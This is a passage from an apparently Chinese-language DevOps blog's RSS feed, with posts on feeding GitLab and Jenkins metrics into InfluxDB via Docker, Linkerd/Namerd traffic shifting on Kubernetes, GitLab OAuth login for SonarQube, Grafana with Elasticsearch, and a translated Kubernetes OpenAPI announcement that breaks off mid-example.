&lt;h3 id=&#34;docker&#34;&gt;Docker&lt;/h3&gt;

&lt;p&gt;为方便部署，这里采用 Docker 作为执行环境，过程中需要下载一些镜像，所以这里可能要配置代理或者其他途径来获得镜像文件并导入。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里假设宿主机 IP 为 10.211.55.5&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;网络&#34;&gt;网络&lt;/h3&gt;

&lt;p&gt;因为几个组件之间互相需要访问，因此我们首先用如下命令创建一个虚拟网络：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;docker network create devops&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;influxdb&#34;&gt;InfluxDB&lt;/h2&gt;

&lt;h3 id=&#34;启动&#34;&gt;启动&lt;/h3&gt;

&lt;p&gt;首先启动我们的 InfluxDB，因为 GitLab 只能连接 InfluxDB 的 udp 端口，而官方版本的镜像并未提供这一功能的方便设置，所以这里采用了一个第三方镜像。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这也是 DockerHub 上的常态 —— 嫡出被庶出灭了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
docker run -d --name=influxdb \
--restart=always \
--network=devops \
-v /var/volume/influxdb:/data \
-p 20002:8083 \
-p 20003:8086 \
-p 20004:8089/udp \
-e UDP_PORT=8089 \
-e UDP_DB=gitlab \
appcelerator/influxdb
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;稍微做一下解释：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用了上文创建的虚拟网络&lt;/li&gt;
&lt;li&gt;镜像为 appcelerator/influxdb&lt;/li&gt;
&lt;li&gt;宿主机上的 &lt;code&gt;/var/volume/influxdb&lt;/code&gt; 目录被加载到容器的 &lt;code&gt;/data&lt;/code&gt; 目录，用于数据存储的持久化。&lt;/li&gt;
&lt;li&gt;开放了三个端口：

&lt;ul&gt;
&lt;li&gt;8083：管理界面，可用浏览器访问&lt;/li&gt;
&lt;li&gt;8086：HTTP API&lt;/li&gt;
&lt;li&gt;8089：UDP 端口&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;UDP 端口对应的数据库名为 gitlab&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;初始化&#34;&gt;初始化&lt;/h3&gt;

&lt;p&gt;镜像成功启动之后，就可以使用浏览器打开 &lt;code&gt;http://10.211.55.5:20002&lt;/code&gt;，用户名密码缺省为 &lt;code&gt;admin&lt;/code&gt;，主机和端口分别为 &lt;code&gt;10.211.55.5&lt;/code&gt; 和 &lt;code&gt;20003&lt;/code&gt;，这些填写结束后，就可以对 influxdb 进行管理了。&lt;/p&gt;

&lt;p&gt;分别为 gitlab 和 jenkins 创建数据库：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;CREATE DATABASE &amp;quot;gitlab&amp;quot;
CREATE DATABASE &amp;quot;jenkins&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;gitlab&#34;&gt;Gitlab&lt;/h2&gt;

&lt;h3 id=&#34;启动-1&#34;&gt;启动&lt;/h3&gt;

&lt;p&gt;类似的，我们用如下脚本启动 Gitlab：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
docker run -d --name=gitlab \
--restart=always \
--network=devops \
-v /var/volume/gitlab/data:/var/opt/gitlab \
-v /var/volume/gitlab/conf:/etc/gitlab \
-v /var/volume/gitlab/log:/var/log/gitlab \
-p 21001:80 \
gitlab/gitlab-ce
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;跟前面的 InfluxDB 类似，或者说更加简单，连环境变量也不需要了。映射端口为 21001，加入同一个网络。&lt;/p&gt;

&lt;h3 id=&#34;配置&#34;&gt;配置&lt;/h3&gt;

&lt;p&gt;浏览器登录页面之后，进入 URL： &lt;code&gt;http://10.211.55.5:21001/admin/application_settings&lt;/code&gt;，对 Gitlab 进行设置。&lt;/p&gt;

&lt;p&gt;在 Metrics 一节，会看到 InfluxDB 的配置信息，选中 Enable 之后，只需要填写主机和 UDP 端口即可，因为有虚拟网络的配置，这里主机我们直接填写 influxdb，端口就是 8089 了。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;变更配置后，利用 &lt;code&gt;docker kill/rm&lt;/code&gt; 命令停止 gitlab，并重新启动。&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&#34;验证&#34;&gt;验证&lt;/h3&gt;

&lt;p&gt;接下来我们可以选择一个项目进行 commit/push 操作，然后进入前面提到的 InfluxDB 控制台。
页面右上角的数据库选择 &lt;code&gt;gitlab&lt;/code&gt;，在查询输入框中输入 &lt;code&gt;SHOW MEASUREMENTS&lt;/code&gt; 并执行，会看到 gitlab 在这一数据库中建立了各个数据表。&lt;/p&gt;

&lt;p&gt;继续输入 &lt;code&gt;select * from events&lt;/code&gt;，会看到我们刚刚进行的提交记录。&lt;/p&gt;

&lt;h2 id=&#34;jenkins&#34;&gt;Jenkins&lt;/h2&gt;

&lt;h3 id=&#34;启动-2&#34;&gt;启动&lt;/h3&gt;

&lt;p&gt;这里用了我自己的 Jenkins 镜像，完成的还是映射端口、挂接存储的任务。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
docker run -d --name=jenkins \
--restart=always \
--network=devops \
-v /var/volume/jenkins/data:/data/jenkins \
-v /var/volume/jenkins/maven:/data/maven \
-v /var/volume/jenkins/sonar:/data/sonar \
-v /var/volume/jenkins/kube:/data/kube \
-v /var/volume/jenkins/robot:/data/robot \
-p 21003:8080 \
dustise/jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;配置-1&#34;&gt;配置&lt;/h3&gt;

&lt;p&gt;启动之后访问&lt;code&gt;http://10.211.55.5:21003&lt;/code&gt;，对 Jenkins 进行配置。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://10.211.55.5:21003/pluginManager/available&lt;/code&gt; 在这一界面查找 &lt;code&gt;InfluxDB&lt;/code&gt; 插件，进行安装启用。&lt;/p&gt;

&lt;p&gt;InfluxDB 插件启用之后，就可以在 &lt;code&gt;http://10.211.55.5:21003/configure&lt;/code&gt; 找到其配置内容，这里也就是设置一个 InfluxDB 连接到我们之前启动的数据库。&lt;/p&gt;

&lt;p&gt;点击 &lt;code&gt;New InfluxDB Target&lt;/code&gt; 按钮，在弹出的输入项目中，URL 填写为 &lt;code&gt;http://influxdb:8086&lt;/code&gt;，用户名密码同上，数据库为 &lt;code&gt;jenkins&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;retentionPolicy&lt;/code&gt; 一项可以清空。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;exposeExceptions&lt;/code&gt; 这一项目表示，向 InfluxDB 汇报数据的任务如果失败，是否标记所属 Build 过程为失败。&lt;/p&gt;

&lt;h3 id=&#34;验证-1&#34;&gt;验证&lt;/h3&gt;

&lt;p&gt;首先我们创建一个新的 FreeStyle 项目，内容很简单，执行一个 &lt;code&gt;echo &amp;quot;Hello world&amp;quot;&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;在构建后步骤中，可以看到 &lt;code&gt;Post Build Actions&lt;/code&gt; 新增了 &lt;code&gt;Publish build data to InfluDB&lt;/code&gt;的动作。&lt;/p&gt;

&lt;p&gt;添加这一动作之后，选择我们刚才建立的 InfluxDB Target。&lt;/p&gt;

&lt;p&gt;Job 创建完成，就可以开始 Build 了。&lt;/p&gt;

&lt;p&gt;Build 成功之后，我们可以在 InfluxDB 控制台上，切换到 Jenkins 数据库，执行 &lt;code&gt;SHOW MEASUREMENTS&lt;/code&gt;，可以看到 Jenkins 创建的数据表。运行 &lt;code&gt;SELECT * FROM jenkins_data&lt;/code&gt; 进行查询，就会看到我们刚才的 Build 数据。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Robot 等插件也会将结果插入 InfluxDB&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;展示&#34;&gt;展示&lt;/h2&gt;

&lt;p&gt;有了这些数据，我们就可以以项目为单位，利用 Grafana 或者其他可视化工具，对结果进行叠加和展示了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Linkerd &#43; Namerd，实现 Kubernetes 集群的灰度发布</title>
      <link>/post/linerd-on-kubernetes/</link>
      <pubDate>Tue, 14 Feb 2017 06:42:02 +0800</pubDate>
      <guid>/post/linerd-on-kubernetes/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;主要内容源于 &lt;code&gt;https://blog.buoyant.io/2016/11/04/a-service-mesh-for-kubernetes-part-iv-continuous-deployment-via-traffic-shifting/&lt;/code&gt; ，砍掉了 Jenkins 等附加部分，更换了更加易于理解的示例应用，以保证主干突出。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes 所提供的 rolling-update 功能提供了一种渐进式的更新过程，然而其滚动过程并不容易控制，对于灰度发布的需要来说，仍稍显不足，这里介绍一种利用 Linkerd 方案进行流量切换的思路。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;官网介绍：linker∙d is a transparent proxy that adds service discovery, routing, failure handling, and visibility to modern software applications。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;本文从实际操作入手，上线两个版本的简单应用，利用这一组合完成流量的切换和测试过程。&lt;/p&gt;

&lt;h2 id=&#34;测试目标&#34;&gt;测试目标&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;同时上线两个版本的应用。两个应用均可工作，利用不同输出进行区分。&lt;/li&gt;
&lt;li&gt;动态调整分配给两个版本的流量。&lt;/li&gt;
&lt;li&gt;利用 CURL 进行流量分配的测试。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;p&gt;这里利用一个 1.2 以上版本的 Kubernetes 集群进行演示：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API Server / Registry：10.211.55.62&lt;/li&gt;
&lt;li&gt;Node：10.211.66.63&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外因某些原因，需要有能力获取 Dockerhub 的镜像。&lt;/p&gt;

&lt;p&gt;例子程序很简单，用一个 PHP 文件显示环境变量中的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
echo getenv(&amp;quot;VAR_LABEL&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Docker file 继承自 &lt;code&gt;dustise/lamp:latest&lt;/code&gt;，文件内容如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM dustise/lamp
COPY index.php /web/codebase
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;利用 Docker build 创建镜像，这里命名为 lamp:gray，备用。&lt;/p&gt;

&lt;h2 id=&#34;创建工作负载&#34;&gt;创建工作负载&lt;/h2&gt;

&lt;p&gt;做一个简单的 yaml 文件来加载蓝绿两组应用，名字、环境变量和端口三个位置需要更改：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
kind: ReplicationController
apiVersion: v1
metadata:
  name: green
# 此处省略若干
        env:
        - name: VAR_LABEL
          value: &#39;green&#39;
---
kind: Service
apiVersion: v1

# 此处省略若干

  type: NodePort
  ports:
  - protocol: TCP
    nodePort: 32001
    port: 80
    targetPort: 80
    name: http
  selector:
    name: green
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;利用 &lt;code&gt;kubectl create -f green.yaml&lt;/code&gt; （ 以及 blue.yaml ）之后，可以利用 curl 或者浏览器检查运行情况，如果正常，两个端口的访问应该分别会返回 &lt;code&gt;green&lt;/code&gt; 和 &lt;code&gt;blue&lt;/code&gt; ，这里的端口命名很重要，这一名称会被后面的规则引用到。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意，这里 NodePort 并非必须，仅为测试方便。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;运行-namerd&#34;&gt;运行 Namerd&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;此处 yaml 主要来自于官网 &lt;code&gt;https://raw.githubusercontent.com/BuoyantIO/linkerd-examples/master/k8s-daemonset/k8s/namerd.yml&lt;/code&gt;
为适应本地环境，将原有 Loadbalancer 类型的服务改为 NodePort&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;略微做一下讲解。&lt;/p&gt;

&lt;p&gt;整个 yaml 由四部分组成：&lt;/p&gt;

&lt;h3 id=&#34;thirdpartyresource&#34;&gt;ThirdPartyResource&lt;/h3&gt;

&lt;p&gt;这部分被用于做 Namerd 的存储后端。&lt;/p&gt;

&lt;h3 id=&#34;configmap&#34;&gt;Configmap&lt;/h3&gt;

&lt;p&gt;作为 Namerd 的配置，其中定义了这样几个内容（详情可参见 &lt;code&gt;https://linkerd.io/config/0.8.5/namerd/index.html#introduction&lt;/code&gt;）：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;管理端口 9990&lt;/li&gt;
&lt;li&gt;storage：存储定义，通过 8001 端口同 Kube Api Server 通信，完成在 ThrdPartyResource 中的访问（8001 端口由 kubectl proxy 指令开通）&lt;/li&gt;
&lt;li&gt;namer：定义服务发现能力由 Kubernetes 提供。&lt;/li&gt;
&lt;li&gt;interface 部分则是定义了两种支持协议。其中 HTTP Controller 可以接收 namerctl 的控制指令。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;rc&#34;&gt;RC&lt;/h3&gt;

&lt;p&gt;这部分不新鲜，除了 namerd 之外，还利用 kubectl proxy 提供通信端口给 namerd，颇有蛇足之嫌。正确的打开方式应该是直接和  Kube API Server 进行通信。&lt;/p&gt;

&lt;h3 id=&#34;service&#34;&gt;Service&lt;/h3&gt;

&lt;p&gt;这里注意服务类型的变更（ LoadBalancer -&amp;gt; NodePort ），需要暴露 4180 和 9990 两个端口，分别作为控制端口和界面端口。&lt;/p&gt;

&lt;p&gt;利用 kubectl 启用之后，就可以在指定的端口查看管理界面了。此时的管理界面没有做任何配置，因此比较单薄。&lt;/p&gt;

&lt;h3 id=&#34;添加规则&#34;&gt;添加规则&lt;/h3&gt;

&lt;p&gt;下面来安装 namerd 的控制工具，namerctl&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;go get -u github.com/buoyantio/namerctl
go install github.com/buoyantio/namerctl
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来创建一条规则：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;/host=&amp;gt;/#/io.l5d.k8s/default/http;
/http/*/*/*=&amp;gt;8*/host/blue&amp;amp;2*/host/green;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段代码表示该服务同时连接 blue 和 green 两个后端服务，按照 &lt;sup&gt;80&lt;/sup&gt;&amp;frasl;&lt;sub&gt;20&lt;/sub&gt; 的比例进行流量分配。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;namerctl dtab create [file name] --base-url&lt;/code&gt;，这里 base-url 取值就是我们给 namerd 设置的 Nodeport。&lt;/p&gt;

&lt;p&gt;接下来就能够看到管理界面上显示出新的规则了。&lt;/p&gt;

&lt;h2 id=&#34;运行-linkerd&#34;&gt;运行 Linkerd&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;这里同样基于官方的 &lt;code&gt;https://raw.githubusercontent.com/BuoyantIO/linkerd-examples/master/k8s-daemonset/k8s/linkerd-namerd.yml&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;需要注意的是，官方给出的 yaml 文件中有一处 bug，使得这个 yaml 只能在缺省的 namespace 和 domain suffix 下运行。需要纠正对 namerd 的访问方式，删除 Namerd 后面的 &lt;code&gt;default.svc.cloud.local&lt;/code&gt; 即可。&lt;/p&gt;

&lt;p&gt;同样的，他的服务端口和管理端口都应该改用 NodePort 方式进行暴露。&lt;/p&gt;

&lt;p&gt;运行后，同样可以看到 Linkerd 的管理界面。&lt;/p&gt;

&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;

&lt;p&gt;下面可以做一个简单的测试，来证明流量分配的有效性：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;for ((i=1;i&amp;lt;=300;i++)); do curl -s &amp;quot;http://10.211.55.63:30001/&amp;quot;;echo &amp;quot;&amp;quot;; done | grep -i blue| wc -l
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，随着循环次数的增加，其结果越来越趋近于 &lt;sup&gt;80&lt;/sup&gt;&amp;frasl;&lt;sub&gt;20&lt;/sub&gt; 的分配比例。&lt;/p&gt;

&lt;p&gt;接下来，我们修改上面的 dtab 为如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;/host=&amp;gt;/#/io.l5d.k8s/default/http;
/http/*/*/*=&amp;gt;8*/host/blue&amp;amp;8*/host/green;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;重新进行测试，就可以看到，流量分配已经发生了变化。另外，还可以在 Linkerd 的管理界面上看到网络流量的变化情况。&lt;/p&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;这一组合基本能够满足流量渐变分配的功能需求，同时也有如豆瓣这样的大厂使用，但他的 dtab 还是个相对复杂的东西，如果在生产上进行使用，还是需要进一步的学习。&lt;/p&gt;

&lt;p&gt;另外，按照其文档中所陈述的功能范围内容来看，仅用来做流量分配还是颇有点大材小用的味道，从个人来说，我倾向于一些更轻量级的解决方法。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>利用 Gitlab 为 Sonarqube 提供单点登录服务</title>
      <link>/post/oauth-for-sonarqube/</link>
      <pubDate>Sun, 29 Jan 2017 05:31:41 +0800</pubDate>
      <guid>/post/oauth-for-sonarqube/</guid>
      <description>

&lt;p&gt;Gitlab 很贴心的提供了一个 &lt;strong&gt;Oauth 2&lt;/strong&gt; 功能，可以作为 CI/CD 工具链的认证中心来使用。&lt;/p&gt;

&lt;p&gt;Sonarqube 的官方插件只有一个 Github 的支持插件，因此这一功能需要借助第三方插件来完成。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.talanlabs.com/gabriel-allaigre/sonar-auth-gitlab-plugin&#34; target=&#34;_blank&#34;&gt;项目地址&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://nexus.talanlabs.com/content/groups/public_release/com/synaptix/sonar-auth-gitlab-plugin/1.0.0/sonar-auth-gitlab-plugin-1.0.0.jar&#34; target=&#34;_blank&#34;&gt;下载地址&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;实验环境&#34;&gt;实验环境&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gitlab 地址&lt;/strong&gt;：&lt;code&gt;http://10.211.55.75:32021&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sonarqube 地址&lt;/strong&gt;：&lt;code&gt;https://10.211.55.75:32032/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;这里需要注意的是，要使用这一功能，Sonarqube 必须使用 https 协议提供服务。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;gitlab-设置&#34;&gt;Gitlab 设置&lt;/h2&gt;

&lt;p&gt;访问 admin/applications/new，新建应用接入。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gitlab.oauth_.app_.info_.png&#34; alt=&#34;new app&#34; /&gt;&lt;/p&gt;

&lt;p&gt;填写应用信息和地址之后提交，Gitlab 会显式 App ID 和 Token。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gitlab.oauth_.login_.png&#34; alt=&#34;app info&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;sonarqube-设置&#34;&gt;Sonarqube 设置&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;http://10.211.55.75:32021/admin/applications&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;插件下载后，复制到 Sonarqube 的 plugins 目录中（一般在 &lt;code&gt;$SONARHOME/extensions/plugins&lt;/code&gt; 目录下），然后重启 Sonarqube。&lt;/p&gt;

&lt;p&gt;Sonarqube 重启之后，在 &lt;code&gt;updatecenter/installed&lt;/code&gt; 会看到新的 &lt;strong&gt;GitLab Auth&lt;/strong&gt; 插件，启用之后，可以进行后续设置。&lt;/p&gt;

&lt;p&gt;访问路径 &lt;code&gt;settings?category=gitlab&lt;/code&gt;，会看到 Gitlab 认证的设置。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/sonarqube.gitlab.oauth_.png&#34; alt=&#34;Git lab settings&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里建议打开允许注册的选项，如果一个用户账号在 Gitlab 中存在，却不存在于 Sonarqube 中，打开这一功能就可以自动进行账号的传播。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;

&lt;p&gt;新的登录界面如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gitlab.oauth_.new_.application.png&#34; alt=&#34;login&#34; /&gt;&lt;/p&gt;

&lt;p&gt;点击 Gitlab 图标会进入 Gitlab 认证界面，跟其他 Oauth 情况类似，就无需继续介绍了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Example Talk</title>
      <link>/talk/example-talk/</link>
      <pubDate>Sun, 01 Jan 2017 00:00:00 +0000</pubDate>
      <guid>/talk/example-talk/</guid>
      <description>&lt;p&gt;Embed your slides or video here using &lt;a href=&#34;https://sourcethemes.com/academic/post/writing-markdown-latex/&#34; target=&#34;_blank&#34;&gt;shortcodes&lt;/a&gt;. Further details can easily be added using &lt;em&gt;Markdown&lt;/em&gt; and $\rm \LaTeX$ math code.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 权威指南（纪念版）</title>
      <link>/publication/9787121323515/</link>
      <pubDate>Sun, 01 Jan 2017 00:00:00 +0000</pubDate>
      <guid>/publication/9787121323515/</guid>
      <description></description>
    </item>
    
    <item>
      <title>Grafana 和 Elasticsearch</title>
      <link>/post/grafana-and-es/</link>
      <pubDate>Wed, 28 Dec 2016 19:56:08 +0800</pubDate>
      <guid>/post/grafana-and-es/</guid>
      <description>

&lt;p&gt;容器化和微服务，让世界花枝招展，又支离破碎。一个典型的运行在容器云之上的微服务架构的应用，通常是由多种服务和基础设施的支撑而来的。这对运维工作提出一个很大的挑战 —— 一个应用后端的众多系统，究竟是怎样的工作状况？&lt;/p&gt;

&lt;p&gt;事实上，所有构成这一应用的微服务以及支撑这一应用的所有基础设施，都会有各自的日志、指标数据，以及构建在上游的监控、日志系统。各处分散的数据和系统，会给支持团队造成极大的负担，也最终成为开发运维工作的拦路虎。&lt;/p&gt;

&lt;p&gt;之前的经验中，可以把自家应用的各种业务、技术指标通过 Zabbix 或者 influxDB 进行存储，经由 Grafana 的插件系统进行整合展示，目前流行的容器云支撑系统 Kubernetes，也能够通过 influxDB 在 Grafana 上展示 Heapster 搜集到的数据。指标的事情解决了，下面自然就是日志了。&lt;/p&gt;

&lt;p&gt;Grafana 也提供了针对 Elasticsearch 的数据源插件。下面用 Kubernetes 中正在运行的日志收集实例来展示 Grafana 对 ES 的支持。&lt;/p&gt;

&lt;h2 id=&#34;建立数据源&#34;&gt;建立数据源&lt;/h2&gt;

&lt;p&gt;首先是建立一个 Elasticsearch 类型的数据源。这里使用了一个 Kubernetes 集群的 ES 日志。Type 部分选择 Elasticsearch，然后填写 URL 地址、认证方式。Index name 填写 &lt;code&gt;logstash-*&lt;/code&gt;。大致如图所示。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/grafana-ds-es.png&#34; alt=&#34;datasource&#34; /&gt;&lt;/p&gt;

&lt;p&gt;点击下面的 &lt;code&gt;Test &amp;amp; Save&lt;/code&gt;，测试成功后完成数据源设置。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Access 一般来说都是选择 Proxy，也就是服务器间通信。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;建立指标&#34;&gt;建立指标&lt;/h2&gt;

&lt;p&gt;接下来进入展示环节。利用新建的 ES 数据源，来建立展示单元。&lt;/p&gt;

&lt;h3 id=&#34;曲线图&#34;&gt;曲线图&lt;/h3&gt;

&lt;p&gt;首先建立一个 Graph Panel，数据源选择上面新建的 ES。&lt;/p&gt;

&lt;p&gt;Query 一栏需要按照 Lucene 语法进行查询。这里我们选择 &lt;code&gt;kubernetes.container_name: &amp;quot;jenkins&amp;quot;&lt;/code&gt;，也就是容器名称为 &amp;ldquo;jenkins&amp;rdquo; 的日志项。&lt;/p&gt;

&lt;p&gt;其他可以保持缺省即可。&lt;/p&gt;

&lt;p&gt;配置结束之后，稍等几秒钟，就会出现数据点。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/grafana-es-metric-count.png&#34; alt=&#34;count&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;日志表格&#34;&gt;日志表格&lt;/h3&gt;

&lt;p&gt;个人感觉上面的的数字在日志来说用处并不大，我们的目的还是在同一界面下查看日志。&lt;/p&gt;

&lt;p&gt;建立一个 Table Panel。配置数据源为 ES。&lt;strong&gt;Metric 选择 &lt;code&gt;Raw Document&lt;/code&gt;&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;经过短暂等候，上面表格会出现一堆的 JSON 文本，我们要通过 Options 来进行展现配置。&lt;/p&gt;

&lt;p&gt;在 Columns 中我们简单的新加两列：&amp;rdquo;kubernetes.container_name&amp;rdquo; 和 &amp;ldquo;log&amp;rdquo;，就会以表格的形式把这两列展示出来。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/grafana-es-log-table.png&#34; alt=&#34;table&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;告一段落&#34;&gt;告一段落&lt;/h2&gt;

&lt;p&gt;至此，Grafana 就成为一个集成了众多来源的运维入口。经过进一步的加工和配置（&lt;strong&gt;其实非常大量非常琐碎&lt;/strong&gt;），仅从这一个入口就能够完成很多的日常巡检任务；更重要的是，因为数据的统一展示，在业务、服务和基础设施之间建立了直观的联系，为事故的处理甚至预测，提供了更多的便利条件。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 支持 OpenAPI</title>
      <link>/post/openapi-support-in-kubernetes/</link>
      <pubDate>Sun, 25 Dec 2016 04:22:42 +0800</pubDate>
      <guid>/post/openapi-support-in-kubernetes/</guid>
      <description>&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/12/kubernetes-supports-openapi&#34; target=&#34;_blank&#34;&gt;Kubernetes supports OpenAPI&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.openapis.org/&#34; target=&#34;_blank&#34;&gt;Open API&lt;/a&gt; 让 API 提供者可以定义自己的操作和模型，并让开发者可以自动化的生成喜欢语言的客户端，用以和 API 服务器通信。Kubernetes 已经支持 Swagger 1.2（OpenAPI 规范的前身）有一段时间了，但是这一标准不够完整和有效，凭借这一支持，非常难生成工具或客户端。&lt;/p&gt;

&lt;p&gt;在 Kubernetes 1.4，我们对目前的模型和操作进行了升级，引入了 Open API 规范（在没被捐献给 &lt;a href=&#34;https://www.openapis.org/about&#34; target=&#34;_blank&#34;&gt;Open API&lt;/a&gt; 之前被称作 Swagger 2.0）支持的 Alpha 版本。从 &lt;a href=&#34;http://blog.kubernetes.io/2016/12/kubernetes-1.5-supporting-production-workloads.html&#34; target=&#34;_blank&#34;&gt;Kubernetes 1.5&lt;/a&gt; 开始，OpenAPI 规范的支持已经完备，能够直接从 Kubernetes 源码生成规范，对于模型和方法的任何变更，都会保障文档和规范的完全同步。&lt;/p&gt;

&lt;p&gt;新规范让我们有了更好的 API 文档，甚至还有了一个 &lt;a href=&#34;https://github.com/kubernetes-incubator/client-python&#34; target=&#34;_blank&#34;&gt;Python 客户端&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;这一模块化的规范用 GroupVersion 进行分隔，这一做法属于未雨绸缪，我们想要让不同的 API Server 使用不同的 GroupVersion。&lt;/p&gt;

&lt;p&gt;规范的结构在 &lt;a href=&#34;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md&#34; target=&#34;_blank&#34;&gt;Open API spec definition&lt;/a&gt; 中有解释。我们用 &lt;a href=&#34;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#tag-object&#34; target=&#34;_blank&#34;&gt;operation 标记&lt;/a&gt; 来拆分每个 GroupVersion 并尽可能的丰富其中的模型、路径、操作等信息。操作的参数、调用方法以及响应都有文档描述。&lt;/p&gt;

&lt;p&gt;例如，获取 Pod 信息的 OpenAPI 规范&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
...
  &amp;quot;paths&amp;quot;: {
&amp;quot;/api/v1/namespaces/{namespace}/pods/{name}&amp;quot;: {
    &amp;quot;get&amp;quot;: {
     &amp;quot;description&amp;quot;: &amp;quot;read the specified Pod&amp;quot;,
     &amp;quot;consumes&amp;quot;: [
      &amp;quot;*/*&amp;quot;
     ],
     &amp;quot;produces&amp;quot;: [
      &amp;quot;application/json&amp;quot;,
      &amp;quot;application/yaml&amp;quot;,
      &amp;quot;application/vnd.kubernetes.protobuf&amp;quot;
     ],
